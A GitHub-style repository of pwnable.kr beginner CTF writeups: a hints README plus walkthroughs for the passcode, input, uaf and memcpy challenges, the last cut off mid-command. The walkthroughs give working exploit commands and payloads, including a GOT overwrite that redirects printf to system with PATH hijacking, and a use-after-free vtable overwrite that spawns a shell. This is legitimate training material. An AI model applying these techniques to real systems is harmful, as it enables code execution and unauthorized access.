``` 100 | 101 | This means we have to write `0x08048466` into `0x804a000`. 102 | 103 | The `passcode1` scanf expects a decimal number, so we provide `134513766` (0x08048466). 104 | 105 | ```bash 106 | $ (python -c "print('a'*96+'\x00\xa0\x04\x08')"; sleep 1; printf "134513766") | ./passcode 107 | Toddler's Secure Login System 1.0 beta. 108 | enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 109 | sh: enter: command not found 110 | enter passcode1 : checking... 111 | Login Failed! 112 | ``` 113 | 114 | This is exactly what we wanted: `prinf` became `system`, although it returned an error because there's no `enter` comand, from the string `enter passcode2 : `. 115 | 116 | Now we can write the enter command ourselves, reading the flag: 117 | 118 | ```bash 119 | $ mkdir /tmp/pc 120 | $ echo "/bin/cat flag" > /tmp/pc/enter 121 | $ chmod +x /tmp/pc/enter 122 | $ export PATH=/tmp/pc:$PATH 123 | $ (python -c "print('a'*96+'\x00\xa0\x04\x08')"; sleep 1; printf "134513766") | ./passcode 124 | ``` 125 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pwnable Writeups 2 | My personal writeups for [pwnable.kr](http://pwnable.kr/play.php). 3 | 4 | Only Toddler's Bottle challenges are included ~~because I didn't solve the others yet~~ out of respect for Rule 3: 5 | 6 | > 3\. Challenges in Toddler's Bottle are allowed to freely post the solutions online. However, please refrain from posting solution for challenges in other categories. But if you insist, post easy ones (solved by many people) and do not spoil too much details for the sake of fun. 7 | 8 | ## Disclaimer 9 | 10 | All examples using `python` refer to versions *2.** of the language. Python *3.** won't work out-of-the-box because of the way it handles encoding with utf-8. 11 | 12 | ## Todo 13 | 14 | 1. Do `unlink` and its writeup. 15 | 2. Translate to portuguese. 16 | 17 | ---- 18 | ## Tips 19 | 20 | Suppose you are stuck but don't want to spoil all the fun. 21 | 22 | Here are some quick tips that may help you along the way: 23 | 24 | ### fd 25 | Read wikipedia's article on [file descriptors](https://en.wikipedia.org/wiki/File_descriptor). 26 | 27 | ### collision 28 | Find values that result in the hash after being summed up. Remember to input the result as [little endian](https://en.wikipedia.org/wiki/Endianness). 29 | 30 | ### bof 31 | Read about buffer overflows in the classic [Smashing the Stack for Fun and Profit](http://insecure.org/stf/smashstack.html). Also, LiveOverflow's [playlists](https://www.youtube.com/watch?v=T03idxny9jE&index=13&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) are awesome. 32 | 33 | ### flag 34 | You can't reverse a packed binary. 35 | 36 | ### passcode 37 | Read about the Procedure Linkage Table (PLT) and the Global Offset Table (GOT). 38 | 39 | [This article](http://blog.isis.poly.edu/exploitation%20mitigation%20techniques/exploitation%20techniques/2011/06/02/relro-relocation-read-only/) and [this entry on exploit-db](https://www.exploit-db.com/papers/13203/) are also very enlightening. 40 | 41 | ### random 42 | Random values need proper seeding, otherwise they become [predictable](http://stackoverflow.com/questions/1108780/why-do-i-always-get-the-same-sequence-of-random-numbers-with-rand). 43 | 44 | ### input 45 | Read about [command substitution](http://www.tldp.org/LDP/abs/html/commandsub.html), [I/O redirection](http://www.tldp.org/LDP/abs/html/io-redirection.html) and [netcat](https://www.g-loaded.eu/2006/11/06/netcat-a-couple-of-useful-examples/). 46 | 47 | ### leg 48 | Learn a bit about [ARM](http://simplemachines.it/doc/arm_inst.pdf) to figure out the return values. Here's a [great manual](http://www.keil.com/support/man/docs/armasm/armasm_dom1361289850039.htm). 49 | 50 | ### mistake 51 | As the site says, read about [C operator's precedence](http://www.difranco.net/compsci/C_Operator_Precedence_Table.htm) to find out the mistake. 52 | 53 | ### shellshock 54 | Read wikipedia's article on [shellshock](https://en.wikipedia.org/wiki/Shellshock_(software_bug)). 55 | 56 | ### coin1 57 | Read about [binary search](https://en.wikipedia.org/wiki/Binary_search_algorithm) (for the problem) and [sockets](https://docs.python.org/2/library/socket.html) (to programatically interact with the game). 58 | 59 | ### blackjack 60 | It's nothing fancy, just a common logic mistake. Try to trick the game. 61 | 62 | ### lotto 63 | It's nothing fancy, just a common logic mistake. Some very simple bruteforcing is needed (less than 50 tries). 64 | 65 | ### cmd1 66 | Read wikipedia's article on [$PATH](https://en.wikipedia.org/wiki/PATH_(variable)). 67 | 68 | ### cmd2 69 | Be creative with [bash](http://ss64.com/bash/). There's more than one solution. 70 | 71 | ### uaf 72 | Read [this beginner's guide on Use-After-Free](http://garage4hackers.com/content.php?r=143-Beginners-Guide-to-Use-after-free-Exploits-IE-6-0-day-Exploit-Development) and [this whitepaper on Dangling Pointers](https://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf). 73 | 74 | ### codemap 75 | Read about daehee's [codemap](http://codemap.kr/) plugin for IDA. 76 | 77 | ### memcpy 78 | Read about the [MOVNTPS](http://www.felixcloutier.com/x86/MOVNTPS.html) instruction and [Alignment in C](https://wr.informatik.uni-hamburg.de/_media/teaching/wintersemester_2013_2014/epc-14-haase-svenhendrik-alignmentinc-paper.pdf). 79 | 80 | ### asm 81 | Read about shellcode creation. If you feel you don't quite get the SmashTheStack article yet, read this newbie-friendly guide: 82 | 83 | [Writing 64-Bit Shellcode (Part 1)](http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-1-beginner-assembly-0161593/) & [Writing 64-Bit Shellcode (Part 2)](http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/) 84 | 85 | ### unlink 86 | Watch LiveOverflow's videos on [malloc()/free()](https://www.youtube.com/watch?v=gL45bjQvZSU) & [unlink() exploitation](https://www.youtube.com/watch?v=HWhzH--89UQ) and read [Exploiting the Heap](http://www.win.tue.nl/~aeb/linux/hh/hh-11.html). 87 | 88 | [Once upon a free()](http://phrack.org/issues/57/9.html) is also very informative. 89 | 90 | ---- 91 | ## Thanks 92 | ![pusheen](https://media.tenor.co/images/550650fe51ac8b77091ce7292b7641ee/raw) 93 | 94 | Special thanks to Ingrid Spangler for introducing me to this great hobby. 95 | -------------------------------------------------------------------------------- /toddlers/input.md: -------------------------------------------------------------------------------- 1 | # Input 2 | 3 | We need to pass 5 stages. The first 3 deal only with input tricks, the fourth involves a file and the fifth involves sockets. 4 | 5 | Let's take a look: 6 | 7 | ## Stage 1 8 | 9 | ```c 10 | // argv 11 | if(argc != 100) return 0; 12 | if(strcmp(argv['A'],"\x00")) return 0; 13 | if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; 14 | printf("Stage 1 clear!\n"); 15 | ``` 16 | 17 | First we need 99 parameters (the first index of argv is the command itself). 18 | 19 | ```bash 20 | $ mkdir /tmp/inp 21 | $ echo "./input $(seq -s' ' 99)" > /tmp/inp/st1 22 | $ chmod +x /tmp/inp/st1 23 | $ cat /tmp/inp/st1 24 | ./input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 25 | ``` 26 | 27 | Then we need some specific parameters. The hex representations of `A` and `B` are 0x41 and 0x42. Thus we need the 65th parameter to be `\x00` and the 66th parameter to be `\x20\x0a\x0d`. We can input characters from ascii using `$''` substitutions. Let's change our /tmp/inp/st1. 28 | 29 | ```bash 30 | ./input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 $'\x00' $'\x20\x0a\x0d' 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 31 | ``` 32 | 33 | And now: 34 | 35 | ```bash 36 | $ /tmp/inp/st1 37 | Let's see if you know how to give input to program 38 | Just give me correct inputs then you will get the flag :) 39 | Stage 1 clear! 40 | ``` 41 | 42 | ## Stage 2 43 | 44 | ```c 45 | // stdio 46 | char buf[4]; 47 | read(0, buf, 4); 48 | if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; 49 | read(2, buf, 4); 50 | if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; 51 | printf("Stage 2 clear!\n"); 52 | ``` 53 | 54 | Now we have to send some bytes to `stdin` (0) and `stderr` (2). 55 | Let's write our desired strings to files, copy /tmp/inp/st1 into /tmp/inp/st2 and include the redirections. 56 | 57 | ```bash 58 | $ echo -ne "\x00\x0a\x00\xff" > /tmp/inp/input 59 | $ echo -ne "\x00\x0a\x02\xff" > /tmp/inp/error 60 | ``` 61 | 62 | ```bash 63 | ./input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 $'\x00' $'\x20\x0a\x0d' 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 < /tmp/inp/input 2< /tmp/inp/error 64 | ``` 65 | 66 | ```bash 67 | $ /tmp/inp/st2 68 | Welcome to pwnable.kr 69 | Let's see if you know how to give input to program 70 | Just give me correct inputs then you will get the flag :) 71 | Stage 1 clear! 72 | Stage 2 clear! 73 | /tmp/inp/st2: line 1: 46968 Segmentation fault [...] 74 | ``` 75 | 76 | We got a segfault, but that's because our env for the next stage doesn't exist yet. 77 | 78 | ## Stage 3 79 | 80 | ```c 81 | if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; 82 | printf("Stage 3 clear!\n"); 83 | ``` 84 | 85 | We have to set the `\xde\xad\xbe\xef` env variable to `\xca\xfe\xba\xbe`. Let's again copy our previous /tmp/inp/st2 into /tmp/inp/st3 and now include our env. 86 | 87 | ```bash 88 | env $'\xde\xad\xbe\xef'=$'\xca\xfe\xba\xbe' ./input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 $'\x00' $'\x20\x0a\x0d' 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 < /tmp/inp/input 2< /tmp/inp/error 89 | ``` 90 | 91 | ```bash 92 | $ /tmp/inp/st3 93 | Welcome to pwnable.kr 94 | Let's see if you know how to give input to program 95 | Just give me correct inputs then you will get the flag :) 96 | Stage 1 clear! 97 | Stage 2 clear! 98 | Stage 3 clear! 99 | ``` 100 | 101 | ## Stage 4 102 | 103 | ```c 104 | // file 105 | FILE* fp = fopen("\x0a", "r"); 106 | if(!fp) return 0; 107 | if( fread(buf, 4, 1, fp)!=1 ) return 0; 108 | if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; 109 | fclose(fp); 110 | printf("Stage 4 clear!\n"); 111 | ``` 112 | 113 | Now we need to create a file with name `\x0a` containing 4 null bytes. 114 | Since we can only write to `/tmp/*`, let's copy our /tmp/inp/st3 into /tmp/inp/st4 and change our executable path to ~/input. From now on we'll run the program from the /tmp/inp/ folder. 115 | 116 | ```bash 117 | env $'\xde\xad\xbe\xef'=$'\xca\xfe\xba\xbe' ~/input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 $'\x00' $'\x20\x0a\x0d' 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 < /tmp/inp/input 2< /tmp/inp/error 118 | ``` 119 | 120 | ```bash 121 | $ cd /tmp/inp/ 122 | $ echo -en "\x00\x00\x00\x00" > $'\x0a' 123 | $ ./st4 124 | Welcome to pwnable.kr 125 | Let's see if you know how to give input to program 126 | Just give me correct inputs then you will get the flag :) 127 | Stage 1 clear! 128 | Stage 2 clear! 129 | Stage 3 clear! 130 | Stage 4 clear! 131 | bind error, use another port 132 | ``` 133 | 134 | And again the error relates to the next stage. 135 | 136 | ## Stage 5 137 | 138 | ```c 139 | // network 140 | int sd, cd; 141 | struct sockaddr_in saddr, caddr; 142 | sd = socket(AF_INET, SOCK_STREAM, 0); 143 | if(sd == -1){ 144 | printf("socket error, tell admin\n"); 145 | return 0; 146 | } 147 | saddr.sin_family = AF_INET; 148 | saddr.sin_addr.s_addr = INADDR_ANY; 149 | saddr.sin_port = htons( atoi(argv['C']) ); 150 | if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ 151 | printf("bind error, use another port\n"); 152 | return 1; 153 | } 154 | listen(sd, 1); 155 | int c = sizeof(struct sockaddr_in); 156 | cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); 157 | if(cd < 0){ 158 | printf("accept error, tell admin\n"); 159 | return 0; 160 | } 161 | if( recv(cd, buf, 4, 0) != 4 ) return 0; 162 | if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; 163 | printf("Stage 5 clear!\n"); 164 | ``` 165 | 166 | It receives a port to listen on in the 'C'th parameter (67th parameter), receives 4 bytes and compares them to `\xde\xad\xbe\xef`. We just have to provide some port and use `netcat` to pipe in our bytes. 167 | 168 | Let's copy /tmp/inp/st4 into /tmp/inp/st5 and include some acceptable port, like 1337. 169 | 170 | ```bash 171 | env $'\xde\xad\xbe\xef'=$'\xca\xfe\xba\xbe' ~/input 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 $'\x00' $'\x20\x0a\x0d' 1337 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 < /tmp/inp/input 2< /tmp/inp/error 172 | ``` 173 | 174 | Now we run the program while waiting to send our bytes in background: 175 | 176 | ```bash 177 | $ ./st5 & (sleep 2; echo -en "\xde\xad\xbe\xef" | nc 0 1337) 178 | [1] 61347 179 | Welcome to pwnable.kr 180 | Let's see if you know how to give input to program 181 | Just give me correct inputs then you will get the flag :) 182 | Stage 1 clear! 183 | Stage 2 clear! 184 | Stage 3 clear! 185 | Stage 4 clear! 186 | Stage 5 clear! 187 | [1]+ Done ./st5 188 | ``` 189 | 190 | Since it calls `/bin/cat flag` and we don't have the flag in our /tmp directory, lastly we need to symlink it: 191 | 192 | ```bash 193 | $ ln -s ~/flag flag 194 | $ ./st5 & (sleep 2; echo -en "\xde\xad\xbe\xef" | nc 0 1337) 195 | ``` 196 | 197 | -------------------------------------------------------------------------------- /toddlers/uaf.md: -------------------------------------------------------------------------------- 1 | # Uaf 2 | 3 | Let's take a look at the code: 4 | 5 | ```c++ 6 | class Human{ 7 | private: 8 | virtual void give_shell(){ 9 | system("/bin/sh"); 10 | } 11 | protected: 12 | int age; 13 | string name; 14 | public: 15 | virtual void introduce(){ 16 | cout << "My name is " << name << endl; 17 | cout << "I am " << age << " years old" << endl; 18 | } 19 | }; 20 | 21 | class Man: public Human{ 22 | public: 23 | Man(string name, int age){ 24 | this->name = name; 25 | this->age = age; 26 | } 27 | virtual void introduce(){ 28 | Human::introduce(); 29 | cout << "I am a nice guy!" << endl; 30 | } 31 | }; 32 | 33 | class Woman: public Human{ 34 | public: 35 | Woman(string name, int age){ 36 | this->name = name; 37 | this->age = age; 38 | } 39 | virtual void introduce(){ 40 | Human::introduce(); 41 | cout << "I am a cute girl!" << endl; 42 | } 43 | }; 44 | 45 | int main(int argc, char* argv[]){ 46 | Human* m = new Man("Jack", 25); 47 | Human* w = new Woman("Jill", 21); 48 | 49 | size_t len; 50 | char* data; 51 | unsigned int op; 52 | while(1){ 53 | cout << "1. use\n2. after\n3. free\n"; 54 | cin >> op; 55 | 56 | switch(op){ 57 | case 1: 58 | m->introduce(); 59 | w->introduce(); 60 | break; 61 | case 2: 62 | len = atoi(argv[1]); 63 | data = new char[len]; 64 | read(open(argv[2], O_RDONLY), data, len); 65 | cout << "your data is allocated" << endl; 66 | break; 67 | case 3: 68 | delete m; 69 | delete w; 70 | break; 71 | default: 72 | break; 73 | } 74 | } 75 | 76 | return 0; 77 | } 78 | ``` 79 | 80 | There is a use-after-free bug there. Since we are able to free the object (option 3), allocate data (option 2) and use the object (option 1), we control a cycle of allocations/deallocations which can probably be exploited by the fact that we also control the contents of the allocated data. Perhaps we can replace the free'd objects in memory somehow. 81 | 82 | In `C++`, there's the concept of a `virtual method`: it's any method that can be overwritten in a child class of a base class, maintaining both methods so the correct method to call can be resolved by the language at runtime using a `virtual table`. 83 | 84 | Each class containing a `virtual method` will have a `virtual table`, which is simply a list of pointers to the methods it may have to call, whether they are from the base or the child classes. 85 | 86 | What we have to do here, then, is shift the pointer to Man's virtual table so that the call to the `introduce` entry actually calls the `give_shell` entry. 87 | 88 | Let's take a look at what happens before the calls to `introduce`: 89 | 90 | ```bash 91 | $ gdb uaf 92 | >>> disas main 93 | [...] 94 | 0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38] 95 | 0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax] 96 | 0x0000000000400fd4 <+272>: add rax,0x8 97 | 0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax] 98 | 0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38] 99 | 0x0000000000400fdf <+283>: mov rdi,rax 100 | 0x0000000000400fe2 <+286>: call rdx 101 | 0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30] 102 | 0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax] 103 | 0x0000000000400feb <+295>: add rax,0x8 104 | 0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax] 105 | 0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30] 106 | 0x0000000000400ff6 <+306>: mov rdi,rax 107 | 0x0000000000400ff9 <+309>: call rdx 108 | [...] 109 | ``` 110 | 111 | The first 7 lines are for `m->introduce()`, while the last 7 are for `w->introduce()`. 112 | What's going on here? 113 | 114 | Well, the first line puts the object into `rax`. The first member of the object, in this implementation, is the pointer to the vtable. The second line puts the vtable into `rax`. It then adds `0x8` to it because that's the offset between the first member of the vtable and `introduce`. 115 | 116 | The requested method is then put into `rdx` and the object itself is moved into `rdi` for the `this` pointer. Then rdx, `introduce`, is called. 117 | 118 | Sounds good. 119 | 120 | Let's put a few breakpoints and figure out important addresses: 121 | 122 | ```bash 123 | >>> b *main+265 124 | Breakpoint 1 at 0x400fcd 125 | >>> b *main+288 126 | Breakpoint 2 at 0x400fe4 127 | >>> r 128 | 1. use 129 | 2. after 130 | 3. free 131 | 1 132 | Breakpoint 1, 0x0000000000400fcd in main () 133 | >>> x $rbp-0x38 134 | 0x7fffffffdaf8: 0x00614c50 135 | >>> x 0x00614c50 136 | 0x614c50: 0x00401570 137 | >>> c 138 | Breakpoint 2, 0x0000000000400fe4 in main () 139 | >>> x $rbp-0x30 140 | 0x7fffffffdb00: 0x00614ca0 141 | >>> x 0x00614ca0 142 | 0x614ca0: 0x00401550 143 | ``` 144 | 145 | We have the addresses of Man (`0x00614c50`), Woman (`0x00614ca0`) and their vtables (`0x00401570` and `0x00401550`). 146 | 147 | Now let's try to free the objects, allocate 4 bytes and see what happens to the registers before the call to `read`, as one of them should hold the destination parameter. We can also know our registers of interest beforehand by knowing our [calling convention](http://agner.org/optimize/calling_conventions.pdf), which in this case is `64 bit Linux`. 148 | 149 | We now know the parameters are going to be put into `rdi`, `rsi`, `rdx`, [...], in this order. The second parameter of `read` is the destination, thus we need to check `rsi`. 150 | 151 | ```bash 152 | $ mkdir /tmp/uaf 153 | $ echo -en "\x00\x00\x00\x00" > /tmp/uaf/bytes 154 | $ gdb uaf 155 | >>> b *main+399 156 | Breakpoint 1 at 0x401053 157 | >>> r 4 /tmp/uaf/bytes 158 | 1. use 159 | 2. after 160 | 3. free 161 | 3 162 | 1. use 163 | 2. after 164 | 3. free 165 | 2 166 | Breakpoint 1, 0x0000000000401053 in main () 167 | >>> p/x $rsi 168 | $1 = 0x614ca0 169 | ``` 170 | 171 | Wait... But this is the address of the Woman object! 172 | Our allocator has taken advantage of the most recently free'd chunk in memory to store our data, which means we can overwrite the pointer to Woman's vtable. 173 | Let's keep going and allocate data again to see whether we can also change the Man object. 174 | 175 | ```bash 176 | >>> c 177 | your data is allocated 178 | 1. use 179 | 2. after 180 | 3. free 181 | 2 182 | Breakpoint 1, 0x0000000000401053 in main () 183 | >>> p/x $rsi 184 | $2 = 0x614c50 185 | ``` 186 | 187 | Now we can also overwrite the pointer to Man's vtable. 188 | Let's check what's in Man's vtable: 189 | 190 | ```bash 191 | >>> x/4x 0x00401570 192 | 0x401570 <_ZTV3Man+16>: 0x0040117a 0x00000000 0x004012d2 0x00000000 193 | >>> x 0x0040117a 194 | 0x40117a <_ZN5Human10give_shellEv>: 0xe5894855 195 | >>> x 0x004012d2 196 | 0x4012d2 <_ZN3Man9introduceEv>: 0xe5894855 197 | ``` 198 | 199 | But what is it that we have to write to the pointer to the vtable in order to redirect execution to `give_shell`? 200 | If we write `0x00401570`-`0x8` (`0x00401568`) to `0x614c50`, the address of the vtable + `0x8` is going to point to `give_shell` and we can get our flag: 201 | 202 | ```bash 203 | $ echo -en "\x68\x15\x40\x00" > /tmp/uaf/payload 204 | $ ./uaf 4 /tmp/uaf/payload 205 | 1. use 206 | 2. after 207 | 3. free 208 | 3 209 | 1. use 210 | 2. after 211 | 3. free 212 | 2 213 | your data is allocated 214 | 1. use 215 | 2. after 216 | 3. free 217 | 2 218 | your data is allocated 219 | 1. use 220 | 2. after 221 | 3. free 222 | 1 223 | sh-4.4$ cat flag 224 | ``` 225 | 226 | Also notice that we'll have to exit twice to come back to the menu loop, because Woman's call was also redirected to Man's give_shell entry. :) 227 | -------------------------------------------------------------------------------- /toddlers/memcpy.md: -------------------------------------------------------------------------------- 1 | # Memcpy 2 | 3 | ```c 4 | char* slow_memcpy(char* dest, const char* src, size_t len){ 5 | int i; 6 | for (i=0; i= 64){ 16 | i = len / 64; 17 | len &= (64-1); 18 | while(i-- > 0){ 19 | __asm__ __volatile__ ( 20 | "movdqa (%0), %%xmm0\n" 21 | "movdqa 16(%0), %%xmm1\n" 22 | "movdqa 32(%0), %%xmm2\n" 23 | "movdqa 48(%0), %%xmm3\n" 24 | "movntps %%xmm0, (%1)\n" 25 | "movntps %%xmm1, 16(%1)\n" 26 | "movntps %%xmm2, 32(%1)\n" 27 | "movntps %%xmm3, 48(%1)\n" 28 | ::"r"(src),"r"(dest):"memory"); 29 | dest += 64; 30 | src += 64; 31 | } 32 | } 33 | 34 | // byte-to-byte slow copy 35 | if(len) slow_memcpy(dest, src, len); 36 | return dest; 37 | } 38 | 39 | int main(void){ 40 | // [...] 41 | src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 42 | 43 | size_t sizes[10]; 44 | int i=0; 45 | 46 | // setup experiment parameters 47 | for(e=4; e<14; e++){ // 2^13 = 8K 48 | low = pow(2,e-1); 49 | high = pow(2,e); 50 | printf("specify the memcpy amount between %d ~ %d : ", low, high); 51 | scanf("%d", &size); 52 | if( size < low || size > high ){ 53 | printf("don't mess with the experiment.\n"); 54 | exit(0); 55 | } 56 | sizes[i++] = size; 57 | } 58 | 59 | sleep(1); 60 | printf("ok, lets run the experiment with your configuration\n"); 61 | sleep(1); 62 | 63 | // run experiment 64 | for(i=0; i<10; i++){ 65 | size = sizes[i]; 66 | printf("experiment %d : memcpy with buffer size %d\n", i+1, size); 67 | dest = malloc( size ); 68 | 69 | memcpy(cache1, cache2, 0x4000); // to eliminate cache effect 70 | t1 = rdtsc(); 71 | slow_memcpy(dest, src, size); // byte-to-byte memcpy 72 | t2 = rdtsc(); 73 | printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1); 74 | 75 | memcpy(cache1, cache2, 0x4000); // to eliminate cache effect 76 | t1 = rdtsc(); 77 | fast_memcpy(dest, src, size); // block-to-block memcpy 78 | t2 = rdtsc(); 79 | printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1); 80 | printf("\n"); 81 | } 82 | 83 | printf("thanks for helping my experiment!\n"); 84 | printf("flag : ----- erased in this source code -----\n"); 85 | return 0; 86 | } 87 | ``` 88 | 89 | It seems understandable. There's a `fast_memcpy`, which copies 64-byte blocks using some instructions we don't know, and a `slow_memcpy` which simply performs a byte-to-byte copy. The `fast_memcpy` only copies 64-byte blocks if the buffer size is >= 64. Whatever is left uncopied, also, is then copied byte-to-byte with `slow_memcpy`. 90 | 91 | Let's compile and run it locally. Remember to compile with `-m32` as instructed in the code: 92 | 93 | ```bash 94 | $ gcc -lm -m32 memcpy.c -o memcpy 95 | $ ./memcpy 96 | [...] 97 | specify the memcpy amount between 8 ~ 16 : 8 98 | specify the memcpy amount between 16 ~ 32 : 16 99 | specify the memcpy amount between 32 ~ 64 : 32 100 | specify the memcpy amount between 64 ~ 128 : 64 101 | specify the memcpy amount between 128 ~ 256 : 128 102 | specify the memcpy amount between 256 ~ 512 : 256 103 | specify the memcpy amount between 512 ~ 1024 : 512 104 | specify the memcpy amount between 1024 ~ 2048 : 1024 105 | specify the memcpy amount between 2048 ~ 4096 : 2048 106 | specify the memcpy amount between 4096 ~ 8192 : 4096 107 | ok, lets run the experiment with your configuration 108 | [...] 109 | experiment 5 : memcpy with buffer size 128 110 | ellapsed CPU cycles for slow_memcpy : 827 111 | [1] 20632 segmentation fault (core dumped) ./memcpy 112 | ``` 113 | 114 | We got a segfault, but why? Let's check: 115 | 116 | ```bash 117 | $ for i in {1..10}; do echo $((2**(i+2))); done > input 118 | $ gdb memcpy 119 | >>> disas fast_memcpy 120 | [...] 121 | 0x080486e9 <+33>: movdqa xmm0,XMMWORD PTR [eax] 122 | 0x080486ed <+37>: movdqa xmm1,XMMWORD PTR [eax+0x10] 123 | 0x080486f2 <+42>: movdqa xmm2,XMMWORD PTR [eax+0x20] 124 | 0x080486f7 <+47>: movdqa xmm3,XMMWORD PTR [eax+0x30] 125 | 0x080486fc <+52>: movntps XMMWORD PTR [edx],xmm0 126 | 0x080486ff <+55>: movntps XMMWORD PTR [edx+0x10],xmm1 127 | 0x08048703 <+59>: movntps XMMWORD PTR [edx+0x20],xmm2 128 | 0x08048707 <+63>: movntps XMMWORD PTR [edx+0x30],xmm3 129 | [...] 130 | >>> b *fast_memcpy+33 131 | Breakpoint 1 at 0x80486e9 132 | >>> r < input 133 | Breakpoint 1, 0x080486e9 in fast_memcpy () 134 | >>> p/x $eax 135 | $1 = 0xf7fca000 136 | >>> p/x $edx 137 | $2 = 0x804d060 138 | >>> c 139 | Breakpoint 1, 0x080486e9 in fast_memcpy () 140 | >>> p/x $edx 141 | $3 = 0x804d0a8 142 | ``` 143 | 144 | The source/destination addresses are valid, but `experiment 4` successfully copies to `0x804d060` while `experiment 5` does not to `0x804d0a8`. What's happening? 145 | 146 | As we don't understand `fast_memcpy` yet, we should read about [MOVDQA](http://www.felixcloutier.com/x86/MOVDQA.html) and [MOVNTPS](http://www.felixcloutier.com/x86/MOVNTPS.html) before proceeding: 147 | 148 | ## MOVDQA 149 | 150 | > Moves 128 bits of packed integer values from the source operand (second operand) to the destination operand. 151 | > When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) will be generated. 152 | 153 | ## MOVNTPS 154 | 155 | > Moves the packed single-precision floating-point values in the source operand (second operand) to the destination operand (first operand) using a non-temporal hint to prevent caching of the data during the write to memory. 156 | > The memory operand must be aligned on a 16-byte (128-bit version) or 32-byte (VEX.256 encoded version) boundary otherwise a general-protection exception (#GP) will be generated. 157 | 158 | Wait: `0x804d0a8` is not a multiple of 16! According to [glibc](http://www.delorie.com/gnu/docs/glibc/libc_31.html), the default alignment for 32-bit is always 8, not necessarily 16, as opposed to 64-bit, so this must be it! 159 | 160 | We can check this compiling *without* the `m32` flag to confirm it works: 161 | 162 | ```bash 163 | $ gcc -lm memcpy.c -o memcpy64 164 | $ ./memcpy64 < input 165 | [...] 166 | experiment 10 : memcpy with buffer size 4096 167 | ellapsed CPU cycles for slow_memcpy : 20742 168 | ellapsed CPU cycles for fast_memcpy : 1160 169 | 170 | thanks for helping my experiment! 171 | flag : ----- erased in this source code ----- 172 | ``` 173 | 174 | All we have to do is shift the size of the allocated chunks in our input to guarantee the correct alignment. Let's add 8 to the 4th chunk size so that our 5th chunk is placed into an aligned address. 175 | 176 | ```bash 177 | $ cat input 178 | 8 179 | 16 180 | 32 181 | 72 182 | 128 183 | 256 184 | 512 185 | 1024 186 | 2048 187 | 4096 188 | $ ./memcpy < input 189 | [...] 190 | experiment 6 : memcpy with buffer size 256 191 | ellapsed CPU cycles for slow_memcpy : 2750 192 | [1] 3065 segmentation fault (core dumped) ./memcpy < input 193 | ``` 194 | 195 | We got a segfault at the 6th experiment now. Let's again add 8 to the 5th chunk size and keep repeating this process. 196 | 197 | ```bash 198 | $ sed -i s/128/136/ input 199 | $ ./memcpy < input 200 | [...] 201 | experiment 7 : memcpy with 